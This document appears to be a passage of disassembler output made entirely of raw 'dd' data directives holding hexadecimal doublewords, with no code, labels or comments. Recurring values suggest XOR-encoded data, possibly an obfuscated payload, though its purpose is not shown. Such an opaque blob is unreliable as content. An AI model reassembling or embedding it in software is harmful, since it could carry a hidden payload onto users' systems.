		dd 15662233h, 996970CAh, 15668833h, 1647ADCAh, 0FD062232h
		dd 15661123h, 0C9842BF5h, 3663AD09h, 937ADBD8h,	0F5454AC0h
		dd 4C07E807h, 18F2453h,	5E662232h, 6740B736h, 9D5F903Eh
		dd 9966EE5Bh, 5F91BD62h, 742ADDD1h, 94870163h, 156640F3h
		dd 118FA132h, 49421DB5h, 1A4284BBh, 156645B8h, 9C30DA32h
		dd 11A090D4h, 94668832h, 156640DCh, 3152A532h, 3172986Eh
		dd 1563073Dh, 47064432h, 2407DB6Dh, 4F3571FBh, 4CB20264h
		dd 88F3CF53h, 1A608A2Ch, 156617B2h, 0EBEDE832h,	2E0782B9h
		dd 0DBE22D30h, 0FC661132h, 15668820h, 2738480Ah, 0C819E87Fh
		dd 50CED11Eh, 0AB33B5F6h, 188FF50Eh, 9D662232h,	0D57741CCh
		dd 923203D5h, 3F088E80h, 15629D65h, 0EF671132h,	9642B4B9h
		dd 1F8F40F6h, 4B662232h, 520D75EBh, 32D69F8h, 14D91379h
		dd 14662232h, 2E9E4ECBh, 0BD6DC9BFh, 89E34B34h,	0FC99DDCDh
		dd 15661139h, 850F96D8h, 0B6C34748h, 424ADF4Ah,	1566118Dh
		dd 9E9E0132h, 0D1E7600Eh, 15662236h, 0CEE77152h, 24C2DB33h
		dd 74A6F33Dh, 156631DBh, 45B53632h, 0CC1889EEh,	994195F6h
		dd 0B478107Bh, 735AD4DCh, 0BAEB0553h, 1A60EC7Dh, 15662CB8h
		dd 156FF832h, 7FA38832h, 0B4F7356Eh, 0EA931B6Dh, 1FE21ED3h
		dd 75668832h, 0DBE78AB9h, 281F7D8Eh, 68EB9853h,	7560203Ch
		dd 6BC6FE54h, 156625DAh, 4702AB32h, 7E1F2ACDh, 15664EDAh
		dd 7E286332h, 0BF878AA3h, 4C27D3FAh, 1ED256Ch, 0F2EF7516h
		dd 1562D6B3h, 0D2E78832h, 15664436h, 49421EB5h,	316A9ACEh
		dd 94830167h, 156640F7h, 11A3A332h, 92661132h, 0FC3AAC1Eh
		dd 15664420h, 7C9C8340h, 200C25A6h, 0CF163DBAh,	0C92441BCh
		dd 9C3360A9h, 11A390D7h, 94668832h, 156640DFh, 314AA532h
		dd 3152986Eh, 1568053Dh, 0EC064432h, 156627DAh,	79917032h
		dd 743C69B8h, 0A23D9B9h, 1F8F249Ah, 0CD661132h,	2900EB20h
		dd 327745ABh, 9455DD7Eh, 754351Eh, 423FC985h, 0A274768Dh
		dd 4A9F2373h, 15619B3Dh, 93698832h, 15664433h, 68E3A9C7h
		dd 0ED60B93Ch, 946968E3h, 1566443Ah, 1564A23Dh,	74061132h
		dd 0A9B0D31h, 128F429Ah, 0ED662232h, 0E140C1C6h, 0E3574944h
		dd 1DED4BCBh, 75662232h, 1566933Dh, 45078832h, 21ED1C64h
		dd 11A2A116h, 15679B3Dh, 739E8832h, 1576AD9Fh, 9A852232h
		dd 0A3DB1C34h, 4DA82775h, 0CD03300h, 0F5A703CBh, 14EA1E30h
		dd 0E0668832h, 1C5FC131h, 18F249Ah, 1661132h, 4C74B672h
		dd 0ADD53F84h, 24C224F6h, 36557373h, 457CF54Ah,	3162CF64h
		dd 4B62E6B1h, 0FCA49A52h, 1566883Fh, 0FB6F3F26h, 0D55CCEAFh
		dd 0CC5D7D84h, 0FCCBE92Dh, 15664420h, 467E7473h, 0E94400B0h
		dd 55C1B6FDh, 0A1BE8379h, 4D4B126Bh, 147E0A6Ch,	4DDFD9FAh
		dd 147E5F6Ch, 198F7BFAh, 71661132h, 61FB4ECBh, 615CCCE6h
		dd 0EAB97F69h, 94383506h, 15668CF6h, 0FCD12432h, 9607C387h
		dd 0BD6CA08Fh, 91698934h, 156644FCh, 743F7552h,	249F9C09h
		dd 91698E9Ah, 1566448Ch, 38EB19C7h, 1A60B93Fh, 156639B6h
		dd 14E34B32h, 0EC662232h, 15661ADBh, 5502A832h,	1195C45Ch
		dd 3D9DADBCh, 13FB9C09h, 91698E9Ah, 156644BCh, 11FBAFCBh
		dd 7560BEEDh, 156680DBh, 0B86AF932h, 8860BD6Bh,	0C6997006h
		dd 0DEA87CEh, 1A664432h, 156630BFh, 156BF832h, 2CA58832h
		dd 11886E3h, 8C47C763h,	45AC4C4Eh, 4D313567h, 794F7C02h
		dd 4A3B2616h, 4D31D6B3h, 9506B002h, 730693D4h, 8D40C3B3h
		dd 9640E48Ah, 9C07E922h, 0BD6489B7h, 1577CB34h,	131A1132h
		dd 94118B1Eh, 0D7DE15A3h, 471C2BADh, 0FCA33B17h, 156696C6h
		dd 156AC43Dh, 98692232h, 15661134h, 15660F3Dh, 88EB4432h
		dd 13C9FD36h, 156E903Dh, 1A068832h, 156644B7h, 0C6994332h
		dd 1577F952h, 61928832h
		dd 9D96359Fh, 0BD7AB954h, 5D7A2A73h, 1A43F2C8h,	156644B5h
		dd 0AA007D32h, 1A0714DDh, 156689B1h, 0A8E5B132h, 13CE2883h
		dd 47E21E32h, 0E0668832h, 44E37FCAh, 1A608A3Eh,	15660DB6h
		dd 905D7132h, 13CE4967h, 1551A73Dh, 1A061132h, 156688B8h
		dd 94001432h, 4CD37EE3h, 0EB91F853h, 1D8F77CDh,	2C664432h
		dd 16B9AF83h, 0FC79D30Ah, 15668823h, 91EC6536h,	0D9643083h
		dd 93E5174Fh, 155CA4DDh, 4E37FCEh, 1A608A32h, 156699B7h
		dd 12E38732h, 75664432h, 4204D2B2h, 0A8E5706Ah,	13CEBBAFh
		dd 21E24B32h, 75662232h, 15661ADBh, 0B14E3332h,	0B5C83F11h
		dd 6D909D9Ch, 749FA63Dh, 23735B1h, 1A66429Ah, 15666EB6h
		dd 19E01E32h, 0FC668832h, 15664435h, 0D0DA9B47h, 98E52CA0h
		dd 0BA3123B7h, 1577AD34h, 0FF3B2232h, 0E40E1CA1h, 4A685A25h
		dd 5A2ABA7Eh, 0FC49BA62h, 0EA99EF6Bh, 15686152h, 484D4432h
		dd 0CF781FDDh, 0B719B8DEh, 2D042CCBh, 0DF1BFD54h, 4E31953h
		dd 1A60B932h, 0EA98BCB6h, 68F24CDh, 25662232h, 4702ABA0h
		dd 7E1F2ACDh, 0AEED0848h, 0A70C592Dh, 749E831Dh, 95CA35B1h
		dd 1A67429Dh, 156660B7h, 0A206E832h, 905DE954h,	13C9C4D2h
		dd 1557A73Dh, 48F1132h,	29668832h, 9DBCB62Dh, 0E4991542h
		dd 15644Eh, 9740BE59h, 1E82C1BFh, 0FC9F226Bh, 0EA99EF3Dh
		dd 1DE087CEh, 1A664432h, 156620B9h, 24077132h, 156961CDh
		dd 0C10E4432h, 8BE8C7EEh, 63A158C9h, 0BC5A9EB0h, 0E8DBC71Dh
		dd 15608A29h, 57F953Dh,	1C8F8832h, 1E664432h, 6B654750h
		dd 0B0013059h, 95AA0D09h, 9069429Dh, 15662273h,	1572933Dh
		dd 0A4068832h, 156DADB6h, 0EC362232h, 0A1898F68h, 0B4FB4A4h
		dd 90ED25DCh, 13CE16F3h, 0A269ED52h, 429FE9C8h,	0EA4268B3h
		dd 4A99DDCDh, 1FE11ECEh, 75668832h, 97691F61h, 15662232h
		dd 0C1E32A53h, 1A6027B2h, 156601B7h, 90EDDE32h,	13CE1DFFh
		dd 15686052h, 0F6C64432h, 0CB1C6F50h, 57267994h, 7FEC6F3Bh
		dd 753E2552h, 749EA954h, 0EADB4453h, 3C9977CDh,	9B6919DDh
		dd 15662220h, 15661CDBh, 0FE9C3332h, 0A56910E1h, 56B4A80Dh
		dd 905DA9A8h, 13C908E2h, 1529C13Dh, 68F2232h, 74661132h
		dd 77DEF9D7h, 0AA5EF276h, 0C4C2322h, 959BD5B7h,	90ED8D9Ah
		dd 13CE50FFh, 119975CBh, 315A9A16h, 1A624CB1h, 156645B6h
		dd 9C69DA32h, 1566112Bh, 15669CDBh, 198FE432h, 9EE2B60Bh
		dd 0A21CCDA1h, 43B08E64h, 0B7E8A525h, 0CDE31940h, 1A60BEB2h
		dd 1566ABB7h, 90EDBC32h, 13CE3423h, 156A913Dh, 9E698832h
		dd 15664434h, 1566A33Dh, 0DAE11132h, 24A9B973h,	0EDA975CBh
		dd 95BAA709h, 9069179Dh, 1566880Ah, 1567C63Dh, 759F2232h
		dd 18B69054h, 9E07719Ah, 0BD4FC5B7h, 6E32D34h, 75661132h
		dd 156683DAh, 0EF282A32h, 0EEA49E32h, 0F8B986AFh, 0AD36E96Ch
		dd 0EA99BBCDh, 0E03EE51Bh, 95869409h, 90698E9Dh, 15664408h
		dd 0A4E3A9CBh, 0FC60B92Bh, 15668826h, 0F0E95C60h, 0D39D7F6Dh
		dd 6315510Dh, 0E22744F4h, 7B02D27Eh, 228B9961h,	0E6E75857h
		dd 0A3FC4020h, 753D9B1Bh, 6C91A354h, 8DD97763h,	905DE9BAh
		dd 13C9C4D6h, 155CA73Dh, 1C8F1132h, 7D668832h, 4C06441Ch
		dd 0E7D47DE6h, 305794B9h, 9E698E9Ah, 15664434h,	75ACA952h
		dd 0AC377053h, 0EA9977CDh, 1A3F8B1Bh, 156629B9h, 14D87132h
		dd 7358EC3Eh, 74E40489h, 958EA709h, 9069179Dh, 1566887Bh
		dd 156642DBh, 5B523A32h, 9E2AA7D2h, 0BD61E9B7h,	11E34B34h
		dd 75662232h, 1A077052h, 156689BCh, 0AF34B132h,	15662233h
		dd 1A3CC633h, 156690BFh, 7E14B32h, 0FC662232h, 1566113Fh
		dd 3930B5C5h, 89706641h, 902871B6h, 0F9E32A41h,	1A6027B2h
		dd 156614B7h, 1DEA2D32h, 1A661132h, 15668ABAh, 9E072432h
		dd 0BD649FB7h, 739F7134h, 470758B9h, 15664588h,	4FB12332h
		dd 0D7ED4652h, 0E4EDD968h, 9669256Ah, 1566222Fh, 1575F852h
		dd 0AB48832h, 6C3372FAh, 382F53F6h, 0B86553F0h,	0C2B3FD24h
		dd 0C5A0C4FEh, 0E5E31953h, 1A60BEB2h, 156690B7h, 90EDBC32h
		dd 13CE3227h, 0AADB44C7h, 947F3C1Eh, 0A14AFADFh, 4889232Bh
		dd 0EDE32ACBh, 1A6027B2h, 156600B7h, 90EDDB32h,	13CE16DBh
		dd 156680DBh, 2ED90D32h, 84013F90h, 14D8476Dh, 14668832h
		dd 48F1AC5h, 13662232h,	0DF097A5Eh, 0A11F6D2Bh,	97865EBAh
		dd 0B0D6D762h, 15661DDBh, 5595F432h, 7BF3F115h,	0C691CCB1h
		dd 0E1E32A12h, 1A6027B2h, 156600B7h, 969FDE32h,	0BD66488Fh
		dd 90698834h, 15664407h, 156EAD3Dh, 9D691132h, 15668830h
		dd 90ED2552h, 13CE2CBBh, 0E3E67152h, 744E3AFDh,	7491FB3Dh
		dd 15679860h, 0C2671132h, 13E38768h, 75664432h,	0C08D9854h
		dd 44DB9253h, 15602039h, 1531C03Dh, 1B8F2232h, 0CE661132h
		dd 20B63123h, 1F124F34h, 0DB70F618h, 95E32A53h,	1A6027B3h
		dd 15667CB7h, 0CCD74232h, 15661DDAh, 2C7AD232h,	3377DAB6h
		dd 5B88CA89h, 4B077148h, 0F4E30353h, 0FC60EC33h, 15662239h
		dd 2AD2571Dh, 0DA048D5Ch, 247A0976h, 249F13FDh,	0DAE150FDh
		dd 1CDB0BCBh, 1560EC35h, 175CA63Dh, 969E1132h, 0BD7CCD8Fh
		dd 91694434h, 1566201Eh, 15661BDBh, 6A8A7832h, 382726BDh
		dd 2EF0CB38h, 0BAE775B7h, 3BE38734h, 0E9664432h, 8E7A7B9h
		dd 9669179Ah, 15668833h, 0EADF15C7h, 3C99DDCDh,	0FC0648FDh
		dd 1566883Fh, 4F4C5C35h, 4BFB2213h, 6E76A8E3h, 74BE0337h
		dd 61E37FCAh, 1A608DB3h, 15664BB7h, 9369E832h, 15664430h
		dd 0A4064352h, 51D2AE81h, 7407BEBCh, 1561C53Dh,	0A6062232h
		dd 0D6ED77B4h, 0E30353h, 1A60EC2Dh, 15662ABDh, 17EF1E32h
		dd 75668832h, 0EAD81253h, 3C99DDCDh, 48F4FC5h, 0E9668832h
		dd 26ACED03h, 0A63652B9h, 53840CCDh, 95BCF2F3h,	1567C23Dh
		dd 2E9E2232h, 0BAE779B7h, 56E38734h, 0FC664432h, 15662226h
		dd 7C3F3E2Dh, 5C53BD7Bh, 0DD8562FBh, 0D2FC8228h, 990F1303h
		dd 0A330DB9h, 9269429Ah, 15662237h, 8BB9152h, 0EADCDA53h
		dd 3C99BBCDh, 1E8F78E5h, 0A6661132h, 0FDC85B97h, 489B5F59h
		dd 905DB473h, 13C9904Ah, 153B0D3Dh, 48F4432h, 53662232h
		dd 816ADF29h, 7FDF13FBh, 594445EAh, 3E53461h, 156617DBh
		dd 806A0D32h, 9EFBBA4Dh, 0BD56F3B7h, 1DEB1E34h,	75668832h
		dd 3AC4918Ah, 4307DB12h, 904E198Ch, 0DE880937h,	9473A312h
		dd 0EB6464DCh, 0E4889044h, 940D133Ch, 119043C4h, 4B91233Fh
		dd 15679E3Dh, 2E9A8832h, 0BAE738B7h, 3EE32D34h,	0FC661132h
		dd 1566883Bh, 0EED1E5h,	3E09D000h, 0D0E39A89h, 75602001h
		dd 0ECB69EB3h, 80DE7474h, 74510638h, 0EA993567h, 0FA4FBBCDh
		dd 905DDE6Fh, 13C9905Eh, 155D0D3Dh, 75064432h, 156629DBh
		dd 95778132h, 0A831F24Eh, 0DB5CBE3Ah, 1A077D62h, 156611B3h
		dd 90EDE932h, 13CE4407h, 156628DBh, 64CE3D32h, 0A9B8D857h
		dd 408375B2h, 1566238Fh, 48891032h, 65E3B3CAh, 1A60EBB3h
		dd 156619B7h, 156CF832h, 0B6778832h, 0A8C19576h, 2CFC08EAh
		dd 3BB394B9h, 48F8E9Ah,	53664432h, 0D01B27B9h, 74C9D13Bh
		dd 919C8296h, 4C419093h, 0EA999A62h, 0D24FEECDh, 14ED876Ah
		dd 0E0664432h, 0F239FB1h, 1A66179Ah, 156F6EB6h,	905DB132h
		dd 13C9A2CEh, 1558943Dh, 9A698832h, 15664439h, 156624DBh
		dd 82FAE632h, 9EADC3D6h
		dd 0BD72C1B7h, 2E42D34h, 0FC661132h, 15668820h,	43FAEC03h
		dd 0A93B847Fh, 79D4B83Bh, 0F52B4845h, 0AF344C8Dh, 0EA99DDCDh
		dd 0E93CC61Bh, 94F60D09h, 9069429Dh, 15662257h,	1572F852h
		dd 0CA188832h, 0B8A76738h, 0B13EE2CEh, 29E1FF61h, 43DF271Ah
		dd 9E078FB2h, 0BD55FBB7h, 98697134h, 15668831h,	1A9CCF54h
		dd 156634BCh, 1577F832h, 0D7FD8832h, 52B2C542h,	53E7509Fh
		dd 70B70314h, 74C754C2h, 50F0FD63h, 0D42F0678h,	0E4E712DBh
		dd 0EE103F7Fh, 753F8B1Bh, 1810F9B3h, 0E7ED02FEh, 15E3B353h
		dd 1A60EBB3h, 156606B7h, 1568F832h, 83FC8832h, 1AB71878h
		dd 0F7F198C5h, 0B8C692FAh, 176B0DB9h, 469A429Ah, 15662389h
		dd 4EB91032h, 11E3B3CBh, 1A60EBB3h, 15666EB7h, 14E61E32h
		dd 0EC668832h, 23FC1B9h, 9C69249Ah, 15661133h, 8D8DECEh
		dd 53434B29h, 9465C4F3h, 6D4CF3D4h, 0C880967h, 9467C633h
		dd 0E361E4DCh, 4B9110CCh, 15669CDBh, 5825FF32h,	1BFE5B83h
		dd 4C96B9D7h, 1293D9F6h, 0F330932Dh, 1DE3194Dh,	1A60BEB3h
		dd 1566B9B7h, 90EDB832h, 13CE0407h, 10E61E52h, 73668832h
		dd 0F4478DB3h, 0AD3643CEh, 15661133h, 0FC3E4F33h, 1566443Fh
		dd 0A9C1B832h, 13C81809h, 0DC33CECCh, 905DBC48h, 13C9A33Eh
		dd 1517943Dh, 47068832h, 0FBFAFE54h, 13EB2D6Ch,	1A661132h
		dd 156688B1h, 0A8E52532h, 13CE226Bh, 45E31E32h,	75668832h
		dd 1565C13Dh, 9E002232h, 1577F8C8h, 955C8832h, 2A1D36FDh
		dd 0C054149Dh, 0E6BACB9Ch, 7475E312h, 0E27C1B9h, 0FC06249Ah
		dd 15661123h, 53E9ABEAh, 5A0E8FA6h, 0ACC66DAEh,	39CD3543h
		dd 44077444h, 0B722398Bh, 9797A337h, 3C9C4C89h,	2E93D1FDh
		dd 0BAE754B7h, 33E32D34h, 75661132h, 860978B3h,	749E5321h
		dd 1E6FA7B9h, 439A179Ah, 0EA99778Ch, 4B916DCDh,	15662ADBh
		dd 2CA5032h, 7A6E30D5h,	1E37F33h, 1A608DB3h, 15666EB7h
		dd 1FE28732h, 75664432h, 0AEB5953Dh, 5B5DE875h,	4CDB0B53h
		dd 1560EC32h, 1504A73Dh, 9E931132h, 0BD4CD5B7h,	1AEE4B34h
		dd 0FC662232h, 15661138h, 0C548309Fh, 607446E2h, 1A06749Bh
		dd 156612BDh, 0C4D98732h, 294596B3h, 46075425h,	15661089h
		dd 4EB98932h, 16E74B52h, 1A662232h, 0AF00DE8Dh,	1A075258h
		dd 156653BEh, 4EE2D32h,	0FC661132h, 1566883Eh, 7C7F0258h
		dd 0C7EEFE3Bh, 0C3FC08FBh, 947E0D09h, 9069429Dh, 15662203h
		dd 0C4E39ACAh, 75602006h, 4BA7CF65h, 74A69D3Dh,	1A01A863h
		dd 0FCE78A37h, 17634B54h, 1A3FED33h, 15661DB8h,	13E88732h
		dd 1A664432h, 156622B9h, 9E32A32h, 1A6027B3h, 156620B7h
		dd 0EE62D32h, 75661132h, 15669CDBh, 5304F632h, 8E5C8B73h
		dd 50F3E3C2h, 21AB3DDDh, 5FDE4DDFh, 90ED439Ch, 13CE3B93h
		dd 156680DBh, 92FF5E32h, 0CEC30913h, 14DF400Fh,	14668832h
		dd 0AC061DFDh, 5EFF8C5Bh, 7495AE3Dh, 15EB8752h,	0FD664432h
		dd 15662239h, 449E34AAh, 622C5BF3h, 73F02A8Ch, 4E202889h
		dd 31E32A53h, 1A6027B3h, 15661EB7h, 0CEC2D32h, 1A661132h
		dd 15669BB1h, 1568AD32h, 0EE862232h, 0C8071749h, 71CEA1DCh
		dd 0E5E1767Ah, 153F9FB1h, 1A66179Ah, 1566A6B7h,	4E74B32h
		dd 0FC662232h, 1566113Eh, 5B62BB6Fh, 39E4A082h,	779BECDh
		dd 344394B9h, 73068E9Ah, 74747F8Ah, 3162DD65h, 96422DB9h
		dd 2E9A8CF6h, 0BAE764B7h, 65E32D34h, 0FC661132h, 1566883Dh
		dd 95750173h, 0D9BFD4DCh, 0E7FE8C70h, 96C6AABFh, 0BD661D8Fh
		dd 90692234h, 1566117Dh, 0DBEDEE52h, 156CAD61h,	29AE2232h
		dd 0B8C9AD29h, 74A2E138h, 0EC06256Dh, 156628DAh, 1648AC32h
		dd 2C16224Bh, 4E9C04C2h, 88E3A953h, 0FC60B929h,	1566883Bh
		dd 19007705h, 0C5C6129Eh, 24B92000h, 56B9B9C9h,	0AE069BB5h
		dd 346596CCh, 2E9E70C7h, 0BAE7A0B7h, 51E34B34h,	0FC662232h
		dd 1566113Dh, 8088F911h, 0DF0DAD7Bh, 5A2ED59Fh,	9EAF2A4Eh
		dd 0BD4C45B7h, 1577AD34h, 241D2232h, 0C056B65Ch, 6B48B696h
		dd 94C71FDAh, 0ECA6D3A9h, 1567A863h, 0DA678832h, 1563AD6Bh
		dd 0C8E92232h, 2E9D988Eh, 0BAE7A4B7h, 57E34B34h, 0FC662232h
		dd 15661122h, 6A828324h, 69A51945h, 5561E1Dh, 43A60B5Ah
		dd 398B0DB9h, 18F429Ah,	42662232h, 8595DDAAh, 0D4665D36h
		dd 0C0783ADEh, 432FFA10h, 4653B9E2h, 0EA997789h, 4EB96DCDh
		dd 98B0A252h, 25E32A53h, 1A6027B3h, 156668B7h, 19EB2D32h
		dd 0FC661132h, 15668835h, 0FCBB2EBEh, 9E24A795h, 0BD71D8B7h
		dd 0AE357134h, 15664433h, 0FC3DFD33h, 15661137h, 8410CC90h
		dd 21E37F4Ah, 1A608DB3h, 156660B7h, 1DEA8732h, 75664432h
		dd 1AB9CBB2h, 0FC07C085h, 1566883Ah, 7F63E2B7h,	92B04B2Eh
		dd 1B394B9h, 188F8E9Ah,	49664432h, 1C53D75Dh, 784634E2h
		dd 1C1E87BEh, 3069FE60h, 572C3EC8h, 1290DBB3h, 0CF918C4Ch
		dd 78638EB3h, 0D7E722BAh, 91013C8h, 1A3C5F1Bh, 15665DBFh
		dd 1572CB32h, 257F1132h, 0A7B18325h, 566ED8C8h,	0A56E61BAh
		dd 738C5F6Ch, 905D99A7h, 13C9C50Ah, 1549A73Dh, 9E931132h
		dd 0BD6FFDB7h, 4331BC34h, 92207C6Dh, 986971C5h,	15668832h
		dd 156654DAh, 0C512832h, 0FA05C07Ah, 0DDD01C11h, 0BDFC5725h
		dd 4F3F748Dh, 29E32A53h, 1A6027B3h, 15666FB7h, 90EDDE32h
		dd 13CE35DBh, 15668DDBh, 0A5BB7F32h, 4331746Fh,	92204F6Dh
		dd 156861C5h, 4E024432h, 2BD334DFh, 0C3EB6F7Fh,	621BA7F1h
		dd 9426C109h, 9069249Dh, 1566110Dh, 156683DBh, 15EB9C32h
		dd 90208C7Bh, 0A52B0109h, 13270DB9h, 0FD06429Ah, 15662237h
		dd 0A52DEAA2h, 4E07E809h, 64E8EB3h, 42071692h, 9E4215CDh
		dd 0D1E5AC0Eh, 94002436h, 958E03FBh, 2E0771C1h,	0BAE7CCB7h
		dd 3EE34B34h, 0FC662232h, 15661135h, 18B742A5h,	9E2F8AFCh
		dd 0BD553FB7h, 73357134h, 4D3A7689h, 2ADA8CB3h,	40072312h
		dd 0EA99EE8Fh, 4889A1CDh, 905DB8C7h, 13CE16A3h,	152A943Dh
		dd 18F8832h, 96664432h,	3A89FD7Bh, 497590DBh, 4D6F45FAh
		dd 0D5629915h, 9E39A9A2h, 0BD64F8B7h, 156A6134h, 98084432h
		dd 71641874h, 32B68A68h, 0AC37F177h, 15664433h,	1A3FED33h
		dd 15661CB8h, 156E6132h, 2F1F4432h, 0ADB47379h,	905DE8FFh
		dd 13C9097Ah, 152DC13Dh, 9B692232h, 15661134h, 75950352h
		dd 90ED2553h, 13CE3337h, 15661CDBh, 2F8CA232h, 1F11A2ECh
		dd 117BA379h, 0AE35B8B2h, 15668833h, 753D9B33h,	1560A93Dh
		dd 95691132h, 15668832h, 15664FDBh, 82BE2232h, 0DFFCF402h
		dd 0CEF1F174h, 91E37F53h, 1A608DB3h, 156673B7h,	156F6132h
		dd 0A4E94432h, 0D03B7B39h, 75A9E41Bh, 54FB9C8Bh, 0A8E52536h
		dd 13C9A3BEh, 35E31E32h, 1A668832h, 156648B5h, 13E92D32h
		dd 1A661132h, 156688B5h, 0A4DBC732h, 15608A38h,	1547953Dh
		dd 9E9F8832h, 0BD5775B7h, 0A833DA34h, 5DD3161h,	0F8E755C5h
		dd 0FA229B9Eh, 753BCD33h, 0FBE777CEh, 2E07E70Fh, 0BAE7CCB7h
		dd 6EE32D34h, 75661132h, 156686DAh, 0A1031932h,	37622526h
		dd 0A2A1D183h, 7536F3AFh, 0D4ED1D53h, 99DBA153h, 1560BEB3h
		dd 15420D3Dh, 9F694432h, 15662235h, 1567943Dh, 969A8832h
		dd 0BD6CF58Fh, 91692234h, 15661108h, 15668DDBh,	0BFEBCE32h
		dd 90ED47FEh, 13CE3787h, 1564053Dh, 74064432h, 11A99C52h
		dd 749F30BFh, 0EA993062h
		dd 0D24FBBCDh, 156ECB6Ah, 211C1132h, 4DE6C552h,	9E06BC56h
		dd 905D43F5h, 13C9907Eh, 152F0D3Dh, 73064432h, 0B63FFDB3h
		dd 156605DBh, 345DDC32h, 0C5394625h, 0C7E29F09h, 984B13BFh
		dd 33E46E31h, 0E90625E4h, 90ED43CBh, 13CE1A1Fh,	14DBDDCAh
		dd 14664432h, 58F7FDDh,	0DB661132h, 4E2541FEh, 27B97280h
		dd 0D3422476h, 2EA98860h, 0BAE7D8B7h, 5AE34B34h, 0FC662232h
		dd 15661121h, 0A37A819Bh, 0B77A292h, 7DE35774h,	0F8CE290Bh
		dd 0FC0EF907h, 15664426h, 807C1597h, 68A86BEFh,	4F005132h
		dd 507476C7h, 8D946794h, 3B9F94B9h, 0A6068E9Ah,	0AF34253Fh
		dd 15662233h, 753CC633h, 0F8D260B3h, 0F1E619FEh, 905D434Eh
		dd 13C99066h, 15240D3Dh, 1D8F4432h, 9C662232h, 8AD63EF2h
		dd 9E70E825h, 0BD7279B7h, 1576CB34h, 0B9DE1132h, 0A776B2AEh
		dd 0F953525Fh, 9F5CDCA0h, 0F9E73F7Dh, 15668836h, 0EA4278BBh
		dd 75390636h, 0CDE35C88h, 0BEA50904h, 74795D03h, 943EA709h
		dd 9069179Dh, 15668802h, 15664ADBh, 731A0E32h, 8058DCF5h
		dd 0F0A3A9EBh, 9EDF442Fh, 0BD4A97B7h, 156EF834h, 635D8832h
		dd 7A3557ACh, 0AF3492D0h, 0EA99EECDh, 0ED3C5F1Bh, 943AC109h
		dd 9069249Dh, 1566112Dh, 1567093Dh, 9E9F4432h, 0BD688BB7h
		dd 14EE1E34h, 0E9668832h, 0EA99FC62h, 0D24FDDCDh, 2E9FE86Ah
		dd 0BAE7E8B7h, 55E34B34h, 0E0662232h, 1E394B9h,	9F698E9Ah
		dd 1566443Eh, 156625DBh, 78D2AD32h, 59F432EAh, 62F5FC62h
		dd 5443196Ch, 0E2163966h, 1163C8EAh, 106E6F3Ah,	23A3530Ah
		dd 0FD432A1Fh, 4DA1893Ch, 1567C73Dh, 1E9F2232h,	0BE21ECDh
		dd 75668832h, 1566CF3Dh, 91D82232h, 7474E28Bh, 0EA8B22DBh
		dd 1561ADCDh, 0C1DD2232h, 0C83EBE73h, 0ACE3B3ADh, 1A60EC01h
		dd 156608B7h, 108F7132h, 0B0668832h, 0FB246B50h, 1560A63Dh
		dd 93691132h, 15668832h, 0BFE3C953h, 0EC608D28h, 0EA8B7FDBh
		dd 7531E8CDh, 2E071C53h, 0BD5423B7h, 75E31E34h,	75668832h
		dd 82F6A5B3h, 0EDED186Dh, 0B9DB9253h, 146027B2h, 152FC13Dh
		dd 78F2232h, 7B661132h,	46674349h, 52A675C7h, 0E9F5897Bh
		dd 0D8117EFCh, 1A06E85Ch, 0E2D48A8Dh, 90EB4353h, 153F1A55h
		dd 0F87F61CAh, 128FBBCDh, 68662232h, 0CD7FC3Eh,	198F4600h
		dd 0F664432h, 656B2957h, 84BA51B0h, 2E43F8D4h, 0BAE6F8B7h
		dd 3AE22D34h, 75661132h, 156681DBh, 48A1B232h, 7E003A21h
		dd 9B692D9Bh, 15668830h, 2E07B4B9h, 0BAE6E2B7h,	2E31E34h
		dd 1A668832h, 156641B0h, 0EFED4232h, 0A98F70CBh, 1A9977DEh
		dd 156645B3h, 0F9E5DE32h, 31629836h, 1566888Ah,	4DA0CD32h
		dd 0EC06DB52h, 1566943Dh, 74078832h, 156642DBh,	9A1D8032h
		dd 96612C1Ch, 906989CCh, 1566451Dh, 0C3D92D52h,	156617DAh
		dd 41C90532h, 75193639h, 2E077A53h, 0BAE6A1B7h,	27E38734h
		dd 0FC664432h, 15662226h, 7118835Eh, 417D1CE4h,	3CE948A5h
		dd 294C004Dh, 8E3359CFh, 92A20DBFh, 0FC9A446Ah,	0EA99CE71h
		dd 156619DBh, 15D7132h,	4411972Eh, 0A1E31954h, 1A60BEB2h
		dd 1566D3B7h, 0BD92432h, 0E93EB430h, 1569F853h,	29668832h
		dd 0FE7D6D21h, 324BEE60h, 20E85B2Ah, 2FE30566h,	75661CBAh
		dd 156FCA60h, 0DD231132h, 2093E76Eh, 4D43943Bh,	156ECB6Ch
		dd 36F1132h, 0F1E7A81Bh, 0FC0790BFh, 0EA99C9D1h, 156CF852h
		dd 0E7208832h, 0E4A19E29h, 24DA0766h, 7492C1B2h, 95DE0D09h
		dd 9069429Dh, 15662259h, 6AE39CCEh, 1A66D0BAh, 156675BFh
		dd 48F4232h, 2661132h, 32542025h, 0CA97E465h, 0DFBD9EF5h
		dd 50231A0Fh, 15669CDBh, 24C1E132h, 7322B0D0h, 4AB35CADh
		dd 0C1CCEFFh, 6EC52A47h, 958F431Ch, 7599EED9h, 156680DBh
		dd 0CC98E732h, 0DCD08576h, 1568F9B7h, 3FC8832h,	0E2DAC736h
		dd 2FBFBE53h, 0EE2B519h, 0EDBD0954h, 45071B49h,	944226B9h
		dd 156615F6h, 15756132h, 660A4432h, 0BEBBEED0h,	0CA2EF695h
		dd 0F7303366h, 8031C623h, 0F9E5DE3Ah, 314A9836h, 6611D85Ah
		dd 0E223193Eh, 0F83A3EFh, 94728A7Eh, 629170F7h,	4888CDDDh
		dd 156FAC3Dh, 73061132h, 1AB86088h, 1E078485h, 2FE32DC4h
		dd 75661132h, 1567093Dh, 9F9F4432h, 0AF8F43CAh,	1A99EED8h
		dd 156684B3h, 13EE4B32h, 1A662232h, 156611B7h, 15756132h
		dd 6EEC4432h, 0BE1F40E5h, 42601851h, 0C6C350Bh,	54709597h
		dd 39E772ABh, 0C14C9316h, 0A833D630h, 70866ECAh, 151CD7B3h
		dd 0FB677606h, 1EE7876Fh, 0FC664432h, 15662234h, 4766A158h
		dd 0A0EF9271h, 13CE4C0Fh, 156AAF3Dh, 9D691132h,	15668834h
		dd 1566C23Dh, 9C9A2232h, 0BD60E487h, 6E88734h, 75664432h
		dd 156624DAh, 0A153FF32h, 4AEBC416h, 5222F68Dh,	2BE64316h
		dd 0BDE31EDBh, 0E0668832h, 1567FE60h, 0E7672232h, 1ED2BB9h
		dd 11A20B16h, 79A1C5C7h, 142D3517h, 79DF40C5h, 3C2D9F17h
		dd 90691DFDh, 15662239h, 156617DBh, 4100C332h, 4369DC02h
